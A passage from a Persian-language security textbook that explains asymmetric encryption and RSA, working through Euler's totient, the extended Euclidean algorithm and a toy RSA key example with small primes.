‫اﻧﺪازه ﮐﻠﯿﺪ را ﺑﺮای ﯾﮏ ﺣﻤﻠﻪ ﺟﺎﻣﻊ ‪ Brute-Force‬ﺑﻪ ﻧﺼﻒ ﺑﺮﺳﺎﻧﺪ‪ .‬ﻟـﺬا دو ﺑﺮاﺑـﺮ ﮐـﺮدن اﻧـﺪازه ﮐﻠﯿـﺪ در ﯾـﮏ رﻣـﺰ‬
‫اﻧﺴﺪادی‪ ،‬ﺣﺘﯽ آﻧﺮا ﻣﻘﺎﺑﻞ اﺣﺘﻤﺎﻟﻬـﺎی ﺗﺌـﻮری ﺟﻬـﺖ ﭘﯿـﺎده ﺳـﺎزی ﯾـﮏ ﺣﻤﻠـﻪ ﺟـﺎﻣﻊ ‪ brute-force‬ﺑـﺎ ﯾـﮏ ﮐـﺎﻣﭙﯿﻮﺗﺮ‬
‫ﮐﻮاﻧﺘﻮﻣﯽ ﻣﻘﺎوم ﻣﯽ ﺳﺎزد‪.‬‬

‫‪ .4,4‬رﻣﺰﮔﺬاری ﻧﺎﻣﺘﻘﺎرن )‪(asymmetric‬‬

‫رﻣﺰﻫﺎی ﻧﺎﻣﺘﻘﺎرن از دو ﮐﻠﯿﺪ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ‪ :‬ﮐﻠﯿﺪ ﻋﻤﻮﻣﯽ )‪ (public‬و ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ )‪ .(private‬ﻫﻤﺎن ﻃـﻮر ﻧـﺎم ﻫـﺎ‬
‫ﮔﻮﯾﺎی اﯾﻦ ﻣﻄﻠﺐ ﻫﺴﺘﻨﺪ‪ ،‬ﮐﻠﯿﺪ ﻋﻤﻮﻣﯽ‪ ،‬ﺑﻪ ﺻـﻮرت ﻋﻤـﻮﻣﯽ ﻋﺮﺿـﻪ ﻣـﯽ ﺷـﻮد درﺣﺎﻟﯿﮑـﻪ ﮐﻠﯿـﺪ ﻣﺤﺮﻣﺎﻧـﻪ‪ ،‬ﺑـﻪ ﺻـﻮرت‬
‫ﺧﺼﻮﺻﯽ ﻧﮕﻬﺪاری ﻣﯽ ﮔﺮدد‪ .‬رﻣﺰﮔﺸﺎﯾﯽ ﺗﻤﺎم ﭘﯿﺎم ﻫﺎﯾﯽ ﮐﻪ ﺑﺎ ﮐﻠﯿﺪ ﻋﻤﻮﻣﯽ رﻣﺰﻧﮕﺎری ﻣﯽ ﺷﻮﻧﺪ‪ ،‬ﻓﻘﻂ ﺑﺎ ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ‬
‫اﻧﺠﺎم ﻣﯽ ﺷﻮد‪ .‬ﻟﺬا اﯾﻦ ﺧﺎﺻﯿﺖ‪ ،‬ﻣﺸﮑﻞ ﺗﻮزﯾﻊ ﮐﻠﯿﺪ را ﻋﻤﻼ ﺑﺮﻃﺮف ﻣﯽ ﺳﺎزد‪ -‬ﮐﻠﯿﺪﻫﺎی ﻋﻤﻮﻣﯽ‪ ،‬ﻋﻤـﻮﻣﯽ ﻫـﺴﺘﻨﺪ و ﺑـﺎ‬
‫اﺳﺘﻔﺎده از ﮐﻠﯿﺪ ﻋﻤﻮﻣﯽ ﻣﯽ ﺗﻮان ﭘﯿﺎم را ﺑﺮای ﯾﮏ ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧـﻪ ﻣﺘﻨـﺎﻇﺮ رﻣﺰﻧﮕـﺎری ﮐـﺮد‪ .‬در اﯾـﻦ ﺻـﻮرت ﺑـﺮﺧﻼف‬
‫رﻣﺰﻫﺎی ﻣﺘﻘﺎرن‪ ،‬ﺑﻪ ﻣﻨﻈﻮر اﻧﺘﻘﺎل ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ ﻧﯿﺎزی ﺑﻪ ﮐﺎﻧﺎل ارﺗﺒﺎﻃﯽ ﺧﺎرج از ﺑﺎﻧﺪ‪) 99‬ﯾﻌﻨﯽ وﺟﻮد ﯾﮏ ﮐﺎﻧﺎل ﻣﺠـﺰا از‬
‫ﮐﺎﻧﺎل اﻧﺘﻘﺎل داده( ﻧﯿﺴﺖ‪ .‬ﺑﻪ ﻫﺮ ﺣﺎل‪ ،‬رﻣﺰﻫﺎی ﻧﺎﻣﺘﻘﺎرن اﻧﺪﮐﯽ ﻧﺴﺒﺖ ﺑﻪ رﻣﺰﻫﺎی ﻣﺘﻘﺎرن ﮐﻨﺪﺗﺮ ﻫﺴﺘﻨﺪ‪.‬‬

‫‪ .4,4,1‬ﻃﺮح ‪RSA‬‬

‫ﻃﺮح ‪ RSA‬ﯾﮑﯽ از ﻣﺤﺒﻮب ﺗﺮﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﻫﺎی ﻧﺎﻣﺘﻘﺎرن اﺳﺖ‪ .‬اﻣﻨﯿﺖ ‪ RSA‬واﺑﺴﺘﻪ ﺑﻪ ﻣﯿﺰان دﺷـﻮاری ﻓـﺎﮐﺘﻮرﮔﯿﺮی‬
‫ﺷﻤﺎره ﻫﺎی ﺑﺰرگ اﺳﺖ‪ .‬اﺑﺘﺪا دو ﻋﺪد اول ‪ P‬و ‪ Q‬اﻧﺘﺨﺎب ﻣﯽ ﺷﻮﻧﺪ و ﺣﺎﺻﻠﻀﺮب آﻧﻬﺎ در ‪ N‬ﻗﺮار داده ﻣﯽ ﺷﻮد‪:‬‬
‫‪N = P · Q‬‬
‫ﺳﭙﺲ ﺗﻌﺪاد ارﻗﺎمِ ﺑﯿﻦ ‪ 1‬و ‪ N-1‬ﮐﻪ ﻧﺴﺒﺖ ﺑﻪ ‪ N‬اول ﻫﺴﺘﻨﺪ ﻣﺤﺎﺳﺒﻪ ﻣﯽ ﺷﻮﻧﺪ )دو ﺷﻤﺎره ﻧﺴﺒﺖ ﺑﻪ ﻫﻢ اول ﻫﺴﺘﻨﺪ اﮔﺮ‬
‫ﺑﺰرﮔﺘﺮﯾﻦ ﻣﻘﺴﻮم ﻋﻠﯿﻪ آﻧﻬﺎ ‪ 1‬ﺑﺎﺷﺪ(‪ .‬اﯾﻦ ﺧﺎﺻﯿﺖ‪ ،‬ﻫﻤﺎن ﺗﺎﺑﻊ ﺣﺴﺎﺑﯽ اوﯾﻠﺮ اﺳﺖ ﮐﻪ ﺑﺎ ﺣﺮف ﯾﻮﻧﺎﻧﯽ ﮐﻮﭼﮏ ﻓﯽ )‪(Phi‬‬
‫ﯾﺎ ‪ φ‬ﻧﺸﺎن داده ﻣﯽ ﺷﻮد‪.‬‬
‫ﺑﺮای ﻣﺜﺎل‪ ،‬راﺑﻄﻪ ‪ φ(9) = 6‬ﺻﺤﯿﺢ اﺳﺖ‪ ،‬ﭼﻮن اﻋﺪاد ‪ 7 ،5 ،4 ،2 ،1‬و ‪ 8‬ﻧﺴﺒﺖ ﺑﻪ ‪ 9‬اول ﻫﺴﺘﻨﺪ‪ .‬ﯾﮑﯽ از ﺧـﻮاص ﺗـﺎﺑﻊ‬
‫اوﯾﻠﺮ اﯾﻦ اﺳﺖ ﮐﻪ اﮔﺮ ‪ N‬اول ﺑﺎﺷﺪ‪ ،‬ﺣﺘﻤﺎ )‪ φ(N‬ﺑﺮاﺑﺮ ﺑﺎ ‪ N-1‬اﺳﺖ‪ .‬ﯾﮏ ﺧﺎﺻﯿﺖ ﺑﺪﯾﻬﯽ دﯾﮕﺮ اﯾـﻦ اﺳـﺖ ﮐـﻪ اﮔـﺮ ‪N‬‬
‫ﺣﺎﺻﻠﻀﺮب دو ﻋﺪد ﺻﺤﯿﺢ ‪ P‬و ‪ Q‬ﺑﺎﺷﺪ‪ ،‬آﻧﮕﺎه ﻋﺒﺎرت )‪ φ(P · Q‬ﺑﺮاﺑﺮ ﺑﺎ )‪ (P − 1) · (Q − 1‬اﺳﺖ‪ ،‬ﯾﻌﻨﯽ‪:‬‬
‫)‪φ(P · Q) = (P − 1) · (Q − 1‬‬
‫ﭼﻮن ﺑﺎﯾﺪ ﻣﻘﺪار )‪ φ(N‬را ﺑﺮای ‪ RSA‬ﻣﺤﺎﺳﺒﻪ ﮐﺮد‪ ،‬ﻟﺬا اﯾﻦ ﺧﺎﺻﯿﺖ ﻣﻔﯿﺪ واﻗﻊ ﻣﯽ ﺷﻮد‪.‬‬
‫ﮐﻠﯿﺪ رﻣﺰﻧﮕﺎری ﯾﺎ ‪ ،E‬ﻧﺴﺒﺖ ﺑﻪ )‪ φ(N‬اول اﺳﺖ و ﺑﺎﯾﺪ ﺑﻪ ﺻﻮرت ﺗﺼﺎدﻓﯽ اﻧﺘﺨﺎب ﺷﻮد‪ .‬آﻧﮕﺎه ﮐﻠﯿﺪ رﻣﺰﮔﺸﺎﯾﯽ ﯾﺎ ‪ D‬از‬
‫ﻣﻌﺎدﻟﻪ زﯾﺮ ﺑﺪﺳﺖ ﻣﯽ آﯾﺪ ﮐﻪ در آن ‪ ،S‬ﯾﮏ ﻋﺪد ﺻﺤﯿﺢ دﻟﺨﻮاه اﺳﺖ‪:‬‬
‫‪E · D = S · φ(N) + 1‬‬
‫اﯾﻦ ﻣﻌﺎدﻟﻪ را ﻣﯿﺘﻮان ﺑﺎ اﻟﮕﻮرﯾﺘﻢ ﺗﻌﻤﯿﻢ ﯾﺎﻓﺘﻪ اﻗﻠﯿﺪس ﺣﻞ ﮐﺮد‪ .‬اﻟﮕﻮرﯾﺘﻢ اﻗﻠﯿﺪس‪ ،‬روﺷﯽ ﺑﺴﯿﺎر ﺳﺮﯾﻊ ﺟﻬـﺖ ﻣﺤﺎﺳـﺒﻪ‬
‫ﺑﺰرﮔﺘﺮﯾﻦ ﻣﻘﺴﻮم ﻋﻠﯿﻪ ﻣﺸﺘﺮک )‪ (100GCD‬ﯾـﺎ ﻫﻤـﺎن ب‪.‬م‪.‬م دو ﻋـﺪد اﺳـﺖ‪ .‬در اﯾـﻦ روش‪ ،‬ﻋـﺪد ﺑﺰرﮔﺘـﺮ ﺑـﺮ ﻋـﺪد‬
‫ﮐﻮﭼﮑﺘﺮ ﺗﻘﺴﯿﻢ و ﺑﺎﻗﯿﻤﺎﻧﺪه آن ﯾﺎدداﺷﺖ ﻣﯽ ﺷﻮد‪ .‬ﺳﭙﺲ ﻋﺪد ﮐﻮﭼﮑﺘﺮ ﺑﺮ ﺑﺎﻗﯿﻤﺎﻧﺪه ﺗﻘﺴﯿﻢ ﻣﯽ ﺷﻮد و اﯾﻦ روﻧﺪ آﻧﻘـﺪر‬

‫‪98‬‬
‫‪Exponential‬‬
‫‪99‬‬
‫‪Out of Band‬‬
‫‪100‬‬
‫‪Greatest Common Divisor‬‬
‫‪153‬‬
‫ﺗﮑﺮار ﻣﯽ ﺷﻮد ﺗﺎ ﺑﺎﻗﯿﻤﺎﻧﺪه ﺑﺮاﺑﺮ ﺑﺎ ﺻﻔﺮ ﺷﻮد‪ .‬آﺧﺮﯾﻦ ﻣﻘﺪار ﻗﺒﻞ از ﺻﻔﺮ ﺑﺮای ﺑﺎﻗﯿﻤﺎﻧﺪه‪ ،‬ﻫﻤـﺎن ب‪.‬م‪.‬م دو ﻋـﺪد اﺳـﺖ‪.‬‬
‫اﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﺑﺎ زﻣﺎن اﺟﺮاﯾﯽ ﻣﻌﺎدل ﺑﺎ )‪ O(log10N‬ﮐﺎﻣﻼ ﺳﺮﯾﻊ اﺳﺖ‪ ،‬ﺗﻌﺪاد ﻣﺮاﺣﻞ ﻣـﻮرد ﻧﯿـﺎز ﺟﻬـﺖ ﺧﺎﺗﻤـﻪ اﺟـﺮای‬
‫اﻟﮕﻮرﯾﺘﻢ ﺑﺮاﺑﺮ ﺑﺎ ﺗﻌﺪاد رﻗﻢ ﻫﺎی ﻣﻮﺟﻮد در ﻋﺪد ﺑﺰرﮔﺘﺮ ﺧﻮاﻫﺪ ﺑﻮد‪.‬‬
‫در ﺟﺪول زﯾﺮ‪ ،‬ب‪.‬م‪.‬م دو ﻋﺪد ‪ 7253‬و ‪ 120‬ﻣﺤﺎﺳﺒﻪ ﺷﺪه اﺳﺖ )ﮐﻪ ﺑﻪ ﺻـﻮرت )‪ gcd(7253, 120‬ﻧﻤـﺎﯾﺶ داده ﻣـﯽ‬
‫ﺷﻮد(‪ .‬ﭘﺮ ﮐﺮدن ﺟﺪول ﺑﺎ ﻗﺮار دادن اﻋﺪاد در ﺳﺘﻮن ﻫﺎی ‪ A‬و ‪) B‬ﺷﻤﺎره ﺑﺰرﮔﺘﺮ در ﺳﺘﻮن ‪ A‬ﻗﺮار ﻣـﯽ ﮔﯿـﺮد( ﺷـﺮوع‬
‫ﻣﯽ ﺷﻮد‪ .‬ﺳﭙﺲ ‪ A‬ﺑﺮ ‪ B‬ﺗﻘﺴﯿﻢ و ﺑﺎﻗﯿﻤﺎﻧﺪه در ﺳﺘﻮن ‪ R‬ﻗﺮار داده ﻣﯽ ﺷﻮد‪ .‬در ﺧﻂ ﺑﻌﺪی‪ B ،‬ﻗـﺪﯾﻢ )ﻣﻘـﺪار ﻗﺒﻠـﯽ ‪،(B‬‬
‫ﻣﻌﺎدل ‪ A‬ﺟﺪﯾﺪ )ﻣﻘﺪار ﻓﻌﻠﯽ ‪ (A‬ﻣﯽ ﺷﻮد و ‪ R‬ﻗﺪﯾﻢ ﺑﺮاﺑﺮ ﺑﺎ ‪ B‬ﺟﺪﯾﺪ ﻣﯽ ﺷﻮد‪ .‬ﻣﺠﺪدا ‪ R‬ﺑﺮای اﯾـﻦ دو ﻣﻘـﺪار ﻣﺤﺎﺳـﺒﻪ‬
‫ﻣﯽ ﮔﺮدد و اﯾﻦ ﻓﺮآﯾﻨﺪ آﻧﻘﺪر ﺗﮑﺮار ﻣﯽ ﺷﻮد ﺗﺎ ﺑﺎﻗﯿﻤﺎﻧﺪه ﺻـﻔﺮ ﮔـﺮدد‪ .‬آﺧـﺮﯾﻦ ﻣﻘـﺪار ﻗﺒـﻞ از ﺻـﻔﺮ ﺑـﺮای ‪ ،R‬ب‪.‬م‪.‬م‬
‫ﺧﻮاﻫﺪ ﺑﻮد‪.‬‬
‫ب‪.‬م‪.‬م‪ .‬دو ﻋﺪد ‪ 7253‬و ‪gcd(7253, 120) - 120‬‬
‫ﺑﺎﻗﯿﻤﺎﻧﺪه )‪(R‬‬ ‫ﻋﺪد ﮐﻮﭼﮑﺘﺮ )‪(B‬‬ ‫ﻋﺪد ﺑﺰرﮔﺘﺮ )‪(A‬‬
‫‪53‬‬ ‫‪120‬‬ ‫‪7253‬‬
‫‪14‬‬ ‫‪53‬‬ ‫‪120‬‬
‫‪11‬‬ ‫‪14‬‬ ‫‪53‬‬
‫‪3‬‬ ‫‪11‬‬ ‫‪14‬‬
‫‪2‬‬ ‫‪3‬‬ ‫‪11‬‬
‫‪1‬‬ ‫‪2‬‬ ‫‪3‬‬
‫‪) 0‬ﺻﻔﺮ(‬ ‫‪1‬‬ ‫‪2‬‬

‫ﺑﻨﺎﺑﺮاﯾﻦ ب‪.‬م‪.‬م دو ﻋﺪد ‪ 7243‬و ‪ ،120‬ﻋﺪد ‪ 1‬اﺳﺖ و ﻣﯽ ﺗﻮان ﻧﺘﯿﺠـﻪ ﮔﺮﻓـﺖ ﮐـﻪ ‪ 7250‬و ‪ 120‬ﻧـﺴﺒﺖ ﺑـﻪ ﻫـﻢ اول‬
‫ﻫﺴﺘﻨﺪ‪.‬‬
‫اﻟﮕﻮرﯾﺘﻢ ﺗﻌﻤﯿﻢ ﯾﺎﻓﺘﻪ اﻗﻠﯿﺪس‪ ،‬ﻫﻨﮕﺎﻣﯽ ﮐﻪ ب‪.‬م‪.‬م ‪ A‬و ‪ B‬ﺑﺮاﺑﺮ ﺑﺎ ‪ R‬ﺑﺎﺷﺪ‪ ،‬دو ﻋﺪد ‪ K‬و ‪ J‬را ﻃﻮری ﭘﯿـﺪا ﻣـﯽ ﮐﻨـﺪ ﮐـﻪ‬
‫راﺑﻄﻪ زﯾﺮ ﺑﺮﻗﺮار ﺑﺎﺷﺪ‪:‬‬
‫‪J · A + K · B = R‬‬
‫ﺑﺎ اﺳﺘﻔﺎده از ﻋﮑﺲِ اﻟﮕﻮرﯾﺘﻢ اﻗﻠﯿﺪس ﻣﯽ ﺗﻮان اﯾﻨﮑﺎر را اﻧﺠﺎم داد‪ .‬اﻣﺎ در اﯾﻦ ﻣـﻮرد ﺧـﺎرج ﻗـﺴﻤﺖ )‪ (quotient‬ﺣـﺎﺋﺰ‬
‫اﻫﻤﯿﺖ اﺳﺖ )و ﻧﻪ ﺑﺎﻗﯿﻤﺎﻧﺪه(‪ .‬در اﯾﻨﺠﺎ رواﺑﻂ رﯾﺎﺿﯽ ﺑﺎ ﺧﺎرج ﻗﺴﻤﺖ ﻫﺎ را در ﻣﺜﺎل ﻗﺒﻠﯽ ﻣﯽ ﺑﯿﻨﯿﺪ‪:‬‬
‫‪7253 = 60 · 120 + 53‬‬
‫‪120 = 2 · 53 + 14‬‬
‫‪53 = 3 · 14 + 11‬‬
‫‪14 = 1 · 11 + 3‬‬
‫‪11 = 3 · 3 + 2‬‬
‫‪3 = 1 · 2 + 1‬‬
‫ﻃﺒﻖ ﻗﻮاﻋﺪ ﻋﻠﻢ ﺟﺒﺮ ﻣﯽ ﺗﻮان ﺟﻤﻼت را ﺣﻮل ﻣـﺴﺎوی ﺣﺮﮐـﺖ داد )اﯾـﻦ ﮐـﺎر ﺑـﺎ ﻋـﻮض ﺷـﺪن ﻋﻼﻣـﺖ ﻫﻤـﺮاه اﺳـﺖ(‬
‫ﺑﻄﻮرﯾﮑﻪ ﺗﻨﻬﺎ ﺑﺎﻗﯿﻤﺎﻧﺪه )ﺑﻪ ﺻﻮرت ﺿﺨﯿﻢ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘﻪ اﺳﺖ( در ﺳﻤﺖ ﭼﭗ ﻣﺴﺎوی ﻗﺮار داﺷﺘﻪ ﺑﺎﺷﺪ‪.‬‬
‫‪53 = 7253 – 60 · 120‬‬
‫‪14 = 120 – 2 · 53‬‬
‫‪11 = 53 – 3 · 14‬‬
‫‪3 = 14 – 1 · 11‬‬
‫‪2 = 11 – 3 · 3‬‬
‫‪1 = 3 – 1 · 2‬‬
‫از آﺧﺮ ﺷﺮوع ﻣﯽ ﮐﻨﯿﻢ‪ .‬ﻋﺒﺎرت زﯾﺮ ﺑﺪﯾﻬﯽ اﺳﺖ‪:‬‬
‫‪1 = 3 – 1 · 2‬‬

‫‪154‬‬
‫در ﺧﻂ ﺑﺎﻻﺗﺮ ﻋﺒﺎرت ‪ 2 = 11 − 3 · 3‬وﺟﻮد دارد ﮐﻪ در آن ﻋﻤﻞ ﺟﺎﻧﺸﯿﻨﯽ )‪ (substitution‬ﺑﺮای ﻋﺪد ‪ 2‬اﻧﺠـﺎم ﺷـﺪه‬
‫اﺳﺖ‪.‬‬
‫)‪1 = 3 – 1 · (11 – 3·3‬‬
‫‪1 = 4·3 – 1 · 11‬‬
‫ﺧﻂ ﻣﺎﻗﺒﻞ آن ﻧﯿﺰ ﻋﺒﺎرت ‪ 3 = 14 − 1 · 11‬اﺳﺖ ﮐﻪ ﯾﮏ ﺟﺎﻧﺸﯿﻨﯽ ﺑﺮای ‪ 3‬ﻣﯽ ﺑﺎﺷﺪ‪.‬‬
‫‪1 = 4 · (14 – 1 · 11) – 1 · 11‬‬
‫‪1 = 4 · 14 – 5 · 11‬‬
‫و ﻣﺠﺪدا ﺧﻂ ﻗﺒﻞ ﺗﺮ ﻧﯿﺰ ﻋﺒﺎرت ‪ 11 = 53 − 3 · 14‬را ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ آن ﻧﯿﺰ ﺟﺎﻧﺸﯿﻨﯽ دﯾﮕﺮی را ﻧﺸﺎن ﻣﯽ دﻫﺪ‪.‬‬
‫)‪1 = 4 · 14 – 5 · (53 – 3 · 14‬‬
‫‪1 = 19 · 14 – 5 · 53‬‬
‫ﻃﺒﻖ ﻫﻤﯿﻦ اﻟﮕﻮ ﺧﻂ ﻗﺒﻞ از آن ﻧﯿﺰ ‪ 14 = 120 − 2 · 53‬اﺳﺖ ﮐﻪ ﺟﺎﻧﺸﯿﻨﯽ دﯾﮕﺮی را ﻧﺘﯿﺠﻪ ﻣﯽ دﻫﺪ‪.‬‬
‫‪1 = 19 · (120 – 2 · 53) – 5 · 53‬‬
‫‪1 = 19 · 120 – 43 · 53‬‬
‫و ﻧﻬﺎﯾﺘﺎ اوﻟﯿﻦ ﺧﻂ ﻋﺒﺎرت ‪ 53 = 7253 – 60 · 120‬اﺳﺖ ﮐﻪ ﺟﺎﻧﺸﯿﻨﯽ آﺧﺮ در اﯾﻨﺠﺎ اﺳﺖ‪.‬‬
‫)‪1 = 19 · 120 – 43 · (7253 – 60 · 120‬‬
‫‪1 = 2599 · 120 – 43 · 7253‬‬
‫‪2599 · 120 +– 43 · 7253 = 1‬‬
‫از روال ﻓﻮق واﺿﺢ اﺳﺖ ﮐﻪ ‪ J‬و ‪ K‬ﺑﺎﯾﺪ ﺑﺘﺮﺗﯿﺐ ‪ 2599‬و ‪ −43‬ﺑﺎﺷﻨﺪ‪.‬‬
‫اﻋﺪاد ﻣﺜﺎل ﻗﺒﻞ ﺑﺮای ارﺗﺒﺎﻃﺸﺎن ﺑﺎ ‪ RSA‬اﻧﺘﺨﺎب ﺷﺪﻧﺪ‪ .‬اﮐﻨﻮن ﻓﺮض ﮐﻨﯿﺪ ﮐـﻪ ﻣﻘـﺎدﯾﺮ ‪ P‬و ‪ Q‬ﺑـﻪ ﺗﺮﺗﯿـﺐ ‪ 11‬و ‪ 13‬و‬
‫ﻣﻘﺪار ‪ N‬ﻧﯿﺰ ‪ 143‬اﺳﺖ‪ .‬ﺑﻨﺎﺑﺮاﯾﻦ ﻋﺒﺎرت )‪ φ(N) = 120 = (11−1) · (13−1‬ﺑﺮﻗﺮار اﺳﺖ )ﺑﺎ ﺗﻮﺟﻪ ﺑﻪ اﯾﻨﮑﻪ دو ﻋﺪد‬
‫‪ 11‬و ‪ 13‬ﻧﺴﺒﺖ ﺑﻪ ﻫﻢ اول ﻫﺴﺘﻨﺪ(‪ .‬ﺑﻪ دﻟﯿﻞ اﯾﻨﮑﻪ ‪ 7253‬ﻧﺴﺒﺖ ﺑﻪ ‪ 120‬اول ﻣﯽ ﺑﺎﺷﺪ‪ ،‬ﻟﺬا ﻋﺪد ﻣﻨﺎﺳـﺒﯽ ﺑـﺮای ‪ E‬ﻣـﯽ‬
‫ﺑﺎﺷﺪ‪ .‬اﮔﺮ ﺑﯿﺎد ﻣﯽ آورﯾﺪ‪ ،‬ﻫﺪف ﯾﺎﻓﺘﻦ ﻣﻘﺪاری ﺑﺮای ‪ D‬ﺑﻮد ﺑﻄﻮرﯾﮑﻪ در ﻣﻌﺎدﻟﻪ زﯾﺮ ﺻﺪق ﮐﻨﺪ‪:‬‬
‫‪E · D = S · φ(N) + 1‬‬
‫ﺑﺎ ﺟﺎﺑﺠﺎﯾﯽ ﺟﻤﻼت در ﻃﺮﻓﯿﻦ ﻣﺴﺎوی ﻣﯽ ﺗﻮان آﻧﺮا ﺑﻪ ﺣﺎﻟﺖ ﻣﻠﻤﻮس ﺗﺮی ﺗﺒﺪﯾﻞ ﮐﺮد‪:‬‬
‫‪D · E + S · φ(N) = 1‬‬
‫‪D · 7,253 ± S · 120 = 1‬‬
‫ﺑﺎ اﺳﺘﻔﺎده از ﻣﻘﺎدﯾﺮ اﻟﮕﻮرﯾﺘﻢ ﺗﻌﻤﯿﻢ ﯾﺎﻓﺘﻪ اﻗﻠﯿﺪس واﺿﺢ اﺳﺖ ﮐﻪ ‪ .D = −43‬اﻣﺎ ﻣﻘﺪار ‪ S‬ﻋﻤﻼ ﺣﺎﺋﺰ اﻫﻤﯿـﺖ ﻧﯿـﺴﺖ و‬
‫ﻓﻘﻂ ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ اﯾﻦ ﻋﻤﻠﯿﺎت رﯾﺎﺿﯽ در ﭘﯿﻤﺎﻧﻪ )‪ φ(N‬ﯾﺎ ‪ 120‬اﻧﺠﺎم ﮔﺮﻓﺘﻪ اﻧـﺪ‪ .‬اﮐﻨـﻮن ﻃﺒـﻖ ﺧـﻮاص ﻫﻤﻨﻬـﺸﺘﯽ‬
‫)‪ (120 – 43 = 77‬ﻣﻘﺪار ﻣﺜﺒﺖ ﻣﻌﺎدل ﺑﺮای ‪ D‬ﺑﺮاﺑﺮ ﺑﺎ ‪ 77‬ﺧﻮاﻫﺪ ﺑﻮد‪ .‬اﮐﻨﻮن ﻣﯽ ﺗﻮان در ﻣﻌﺎدﻟﻪ ﺑﺎﻻ ﺑﻪ ﺟﺎی ‪ D‬ﻋـﺪد‬
‫‪ 77‬را ﺟﺎﯾﮕﺬاری ﮐﺮد‪.‬‬
‫‪E · D = S · φ(N) + 1‬‬
‫‪7253 · 77 = 4654 · 120 + 1‬‬
‫ﻣﻘﺎدﯾﺮ ‪ N‬و ‪ E‬ﺑﻪ ﻋﻨﻮان ﮐﻠﯿﺪ ﻋﻤﻮﻣﯽ ﺗﻮزﯾﻊ ﻣﯽ ﺷﻮﻧﺪ‪ ،‬درﺣﺎﻟﯿﮑﻪ ﻣﻘﺪار ‪ D‬ﺑﻪ ﻋﻨﻮان ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ ﻧﮕﻬﺪاری ﻣـﯽ ﺷـﻮد‪.‬‬
‫ﻣﻘﺎدﯾﺮ‪ P‬و ‪ Q‬ﻧﯿﺰ دوراﻧﺪاﺧﺘﻪ ﺷﺪه اﻧﺪ‪ .‬ﺑﺮ ﻫﻤﯿﻦ اﺳﺎس ﻋﻤﻠﯿﺎت رﻣﺰﻧﮕﺎری و رﻣﺰﮔﺸﺎﯾﯽ ﺑﺴﯿﺎر ﺳﺎده اﻧﺪ‪:‬‬
‫رﻣﺰﻧﮕﺎری‪:‬‬
‫‪E‬‬
‫)‪C = M (modN‬‬
‫رﻣﺰﮔﺸﺎﯾﯽ‪:‬‬
‫‪D‬‬
‫)‪M = C (modN‬‬
‫ﺑﺮای ﻣﺜﺎل اﮔﺮ ﭘﯿﺎم ﯾﺎ ‪ M‬ﺑﺮاﺑﺮ ﺑﺎ ‪ 98‬ﺑﺎﺷﺪ‪ ،‬رﻣﺰﻧﮕﺎری ﺑﻪ ﺻﻮرت زﯾﺮ اﻧﺠﺎم ﻣﯽ ﺷﻮد‪:‬‬
‫‪7253‬‬
‫‪98‬‬ ‫)‪= 76 (mod 143‬‬
‫ﻣﺘﻦ رﻣﺰی ﻣﯿﺘﻮاﻧﺪ ‪ 76‬ﺑﺎﺷﺪ‪ .‬آﻧﮕﺎه ﺗﻨﻬﺎ ﺷﺨﺼﯽ ﮐﻪ ﻣﻘﺪار ‪ D‬را ﺑﺪاﻧﺪ ﻣﯽ ﺗﻮاﻧﺪ ﭘﯿـﺎم را رﻣﺰﮔـﺸﺎﯾﯽ ﮐـﺮده و ﻣﻘـﺪار ‪98‬‬
‫)ﻣﺘﻦ واﺿﺢ( را از ‪) 76‬ﻣﺘﻦ رﻣﺰی( ﺑﺎزﯾﺎﺑﯽ ﮐﻨﺪ‪ ،‬ﻫﻤﺎن ﻃﻮر ﮐﻪ در زﯾﺮ ﻧﺸﺎن داده ﺷﺪه اﺳﺖ‪:‬‬
‫‪77‬‬
‫‪76‬‬ ‫)‪= 98 (mod 143‬‬
‫ﺑﺪﯾﻬﯽ اﺳﺖ ﮐﻪ اﮔﺮ ‪ M‬ﺑﺰرﮔﺘﺮ از ‪ N‬ﺑﺎﺷﺪ‪ ،‬ﺑﺎﯾﺪ ﺑﻪ ﻗﻄﻌﺎت داده ای ﮐﻮﭼﮑﺘﺮ از ‪ N‬ﺗﻘﺴﯿﻢ ﺷﻮد‪.‬‬

‫‪155‬‬
‫اﯾﻦ ﻓﺮآﯾﻨﺪ ﺑﺎ اﺳﺘﻔﺎده از ﻗﻀﯿﻪ اوﯾﻠﺮ اﻣﮑﺎن ﭘﺬﯾﺮ اﺳﺖ‪ .‬اﯾﻦ ﻗﻀﯿﻪ ﺑﯿﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ اﮔﺮ ‪ M‬و ‪ N‬ﻧﺴﺒﺖ ﺑﻪ ﻫﻢ اول ﺑﺎﺷـﻨﺪ‬
‫و ‪ M‬ﮐﻮﭼﮑﺘﺮ از ‪ N‬ﺑﺎﺷﺪ‪ ،‬آﻧﮕﺎه ﻫﻨﮕﺎﻣﯽ ﮐﻪ ‪ M‬ﺑﻪ ﺗﻌﺪاد )‪ φ(N‬ﺑﺎر در ﺧﻮدش ﺿﺮب ﺷﻮد و ﺳﭙﺲ ﺗﻘﺴﯿﻢ ﺑﺮ ‪ N‬ﺷـﻮد‪،‬‬
‫ﺑﺎﻗﯿﻤﺎﻧﺪه ﻫﻤﯿﺸﻪ ﺑﺮاﺑﺮ ﺑﺎ ‪ 1‬ﺧﻮاﻫﺪ ﺑﻮد‪.‬‬
‫اﮔﺮ ‪ gcd(M, N) = 1‬و ‪ ،M < N‬آﻧﮕﺎه )‪ .Mφ(N) = 1(modN‬ﭼﻮن ﻣﺤﺎﺳﺒﺎت در ﭘﯿﻤﺎﻧﻪ ‪ N‬اﻧﺠـﺎم ﻣـﯽ ﺷـﻮﻧﺪ‪ ،‬ﻟـﺬا ﺑـﺮ‬
